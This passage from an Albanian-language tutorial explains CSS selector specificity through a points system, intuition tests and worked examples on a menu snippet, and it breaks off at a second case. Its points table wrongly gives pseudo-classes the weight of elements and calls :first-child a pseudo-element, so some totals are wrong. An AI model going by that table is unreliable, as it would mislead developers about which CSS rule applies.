Prioriteti i metodave që ju shpjegova më sipër ka kuptim për aq kohë sa shkruhet CSS në disa mënyra, gjë që është tërësisht jo normale të bëhet. S’mund të kesh rregulla në një dokument të jashtëm, disa brenda dokumentit dhe në fund disa rregulla shumë specifike në rresht me elementët HTML. Do ishte jo intuitive dhe një tmerr i vërtetë për tu mirëmbajtur. Për këtë arsye zgjidhet një metodë dhe i rrihet ngjitur asaj. Metoda më e mirë është përdorimi i dokumentave të jashtëm dhe këtë vështirë se e kundër-argumenton njeri.

Pyetja me vend në këtë rast do të ishte: “kur përdorim vetëm një metodë eksluzivisht, çfarë ka më për të diskutuar?”. Ka shumë për të diskutuar! Ashtu si shprehje që i drejtohen të njëjtit element HTML mbivendosen me metoda të ndryshme, si ju tregova më sipër, ashtu mbivendosen edhe shprehjet e shkruajtura me një metodë të caktuar. Një abstrakt mbetet i tillë, kështu që mos u bëni merak se do e shpjegoj gjithçka për ta bërë peshën e selektorëve më të lehtë se pirja e një gote qumësht. Kini parasysh që tani e tutje do supozoj që rregullat CSS shkruhen vetëm në një metodë, qoftë ajo në një dokument të jashtëm apo të brendshëm.

Më lejoni t’ju bëj disa teste për të provuar intuitën tuaj. Shikoni 2 pjesëzat e kodeve CSS më poshtë dhe për secilën pjesë gjykoni se çfarë ngjyre do të marrë paragrafi. Me intuitë, sepse po i testuat nuk ka vlerë.

Kodi HTML

<div id="permbajtja">
	<p>Nje paragraf.</p>
</div>

Testi i Parë

p { color:red; }
p { color:blue; }

Testi i Dytë

div#permbajtja p { color:red; }
p { color:blue; }

Nëse për Testin e Parë keni thënë “blu”, jeni të saktë: 1 pikë për ju. Nëse keni thënë përsëri “blue” edhe për Testin e Dytë, jeni gabim! Në fakt, në intuitën e dikujt që nuk e di çfarë është pesha e selektorëve, ngjyra e paragrafit është blu, duke qenë se rregulli i fundit përcakton pikërisht atë ngjyrë. Ja që tema është më e komplikuar se aq.

Vetëm me testin e mësipërm duhet t’ju kem dhënë një ide shumë të mirë se për çfarë po flasim. Së pari mësuam këtu se në selektorë të njëjtë, merr efekt shprehja e fundit. Së dyti dhe më e rëndësishmja, mësuam që shprehje që u drejtohen të njëjtit element, kanë prioritet të ndryshëm në bazë të selektorëve. Në thelb, sa më i komplikuar selektori, aq më peshë ka ai dhe si rrjedhim, shprehja do të konsiderohet me më shumë prioritet.

Çështja është se si llogaritet kompleksiteti. Në botën reale mund të shkruhen me qindra shprehje për një projekt dhe është e rëndësishme të krijohet një sistem i padepërtueshëm për llogaritjen e peshës së selektorëve. Sa më pak komplikime, aq më e thjeshtë bëhet për ju.

Si Llogaritet Pesha

Diçka në shikim të parë e komplikuar mund të kthehet në një lojë fëmijësh dhe pikërisht këtë kam ndërmend të bëj. Do ju shpjegoj si llogaritet pesha përmes një sistemi që përcakton pikë dhe në fund, llogaritja kthehet në mbledhje të thjeshta matematikore. Shikoni foton më poshtë, ku tregohen pikët e secilit selektor.

Pikët e Selektorëve

Në momentin që përdor Batman për të ilustruar diçka, automatikisht merr përmasa epike . Besoj se kuptueshmëria është në nivele të mira dhe ilustrimi ju jep idenë të sistemit të pikëve që merr secili selektor. Duke përdorur këtë sistem, shprehja që ka numrin më të lartë të pikëve është ajo që ka më shumë peshë dhe do të ketë efekt me prioritet më të lartë. Në lojë hyjnë edhe disa selektorë të tjerë, kështu që po ju bëj një përmbledhje të tipeve të ndryshme, plus kombinime për ta bërë më praktike.

• p {} – 1x Element = 1 pikë
• p a {} – 2x Elementë = 2 pikë
• a:hover {} – 1x Pseudo-Klasë = 1 pikë
• li:first-child {} – 1x Pseudo-Element = 1 pikë
• .klasa {} – 1x Klasë = 10 pikë
• p.klasa {} – 1x Klasë + 1x Element = 11 pikë
• a.klasa:hover {} – 1x Klasë + 1x Element + 1x Pseudo-Klasë = 12 pikë
• #id {} – 1x ID {} = 100 pikë
• div#id p.klasa {} – 1x ID + 1x Klasë + 2x Elementë = 112 pikë
• ul#menu li.nenmenu a.lidhje:hover {} – 1x ID + 2x Klasa + 3x Elementë + 1x Pseudo-Klasë = 124
• a[target="_blank"] {} – 1x Atribut + 1x Element = 11 pikë

Tashmë kemi një sistem solid pikësh për të përcaktuar peshën dhe s’na mbetet gjë tjetër përveç se ta shohim si funksionon në një mjedis të vërtetë. Nëse deri tani jeni akoma konfuz, shembujt praktikë do ja u heqin me siguri të gjitha dyshimet.

Në këtë pikë, mbani mend që rregullat e shkruajtura brenda dokumentit HTML apo në rresht kanë efekt përsëri sipas Cascading. Pavarësisht çfarë peshe ka një shprehje e shkruar në një dokument të jashtëm, rregullat brenda dokumentit apo ato në rresht do i mbivendosin ato. Cascading ka prioritet mbi peshën e selektorëve.

Pesha e Selektorëve me Shembuj Praktikë

Do ta nis me rastin më të thjeshtë dhe gradualisht do i bëj më komplekse për t’ju treguar raste të ndryshme, me vështirësi të ndryshme. Nuk do të përdor asgjë tjetër përveç sistemit të pikëve që kemi përcaktuar më sipër për të llogaritur cila shprehje do të ketë efekt.

Kodi HTML që do të përdor në të gjithë shembujt është më poshtë:

<div id="koka">
    <ul id="menu">
        <li><a href="#">Menu 1</a></li>
        <li class="aktive"><a href="#">Menu 2</a></li>
        <li><a href="#">Menu 2</a></li>
        <li><a href="#">Menu 2</a></li>
    </ul>
</div>

Rasti 1

li a { color: red; }
a { color: blue; }

Kemi 2 selektorë që i referohen lidhjeve. I pari ka 2x Elementë (2 pikë), ndërsa i dyti ka 1x Element (1 pikë). Si rrjedhim, peshën më të madhe e ka i pari dhe të gjitha lidhjet brenda listave do të bëhen të kuq. Kuptohet, lidhjet jashtë listave do të bëhen blu, sepse në ato raste, selektori i parë (li a) nuk ka fare efekt.

Rasti 2

ul li a { color: red; }
#menu a { color: blue; }